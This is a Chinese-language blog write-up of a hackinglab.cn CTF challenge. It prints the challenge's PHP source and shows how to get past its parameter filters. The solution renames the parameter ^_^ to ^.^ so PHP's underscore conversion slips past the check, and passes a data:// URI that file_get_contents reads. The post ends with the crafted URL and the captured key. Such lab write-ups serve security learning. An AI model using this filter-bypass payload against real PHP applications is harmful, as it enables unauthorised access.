首页 » NetworkSec » CTF » 正文

hackinglab.cn系列->脚本关.微笑一下就能过关了

这题比较有趣,涉及data伪协议,php代码审计。
前置知识:
1.$_SERVER['QUERY_STRING']:QUERY_STRING就是URL后接的参数,如www.baidu.com/?a=hi,a=hi就是QUERY_STRING。
2.data伪协议:data:[<MIME-type>][;charset=<encoding>][;base64],<data>
3.file_exists对data指向的内容判断为不存在
4.当key包含.或[]之类的符号,这些符号会被php转为_。
*************
php源码:

<?php
    header("Content-type: text/html; charset=utf-8");
    if (isset($_GET['view-source'])) {
        show_source(__FILE__);
        exit();
    }
    include('flag.php');
    $smile = 1;
   if (!isset ($_GET['^_^'])) $smile = 0;
    if (preg_match ('/\./', $_GET['^_^'])) $smile = 0;
    if (preg_match ('/%/', $_GET['^_^'])) $smile = 0;
    if (preg_match ('/[0-9]/', $_GET['^_^'])) $smile = 0;
    if (preg_match ('/http/', $_GET['^_^']) ) $smile = 0;
    if (preg_match ('/https/', $_GET['^_^']) ) $smile = 0;
    if (preg_match ('/ftp/', $_GET['^_^'])) $smile = 0;
    if (preg_match ('/telnet/', $_GET['^_^'])) $smile = 0;
    if (preg_match ('/_/', $_SERVER['QUERY_STRING'])) $smile = 0;
    if ($smile) {
        if (@file_exists ($_GET['^_^'])) $smile = 0;
    }
    if ($smile) {
        $smile = @file_get_contents ($_GET['^_^']);
        if ($smile === "(●'◡'●)") die($flag);
    }
?>

审计源码可得:
1.过滤了一些字符和协议.
2.QUREY_STRING过滤了_但是$_GET[‘^_^’]又含有_.
3.$_GET[‘^_^’]要不存在,但是可以file_get_contents读出是unicode的笑脸。
所以直接构造URL:
lab1.xseclab.com/base13_ead1b12e47ec7cc5390303831b779d47/index.php/?^.^=data://text/plain;charset=unicode,(●’◡’●)
得key:
hkjasfhsa*&IUHKUH
 

Comment

please input captcha *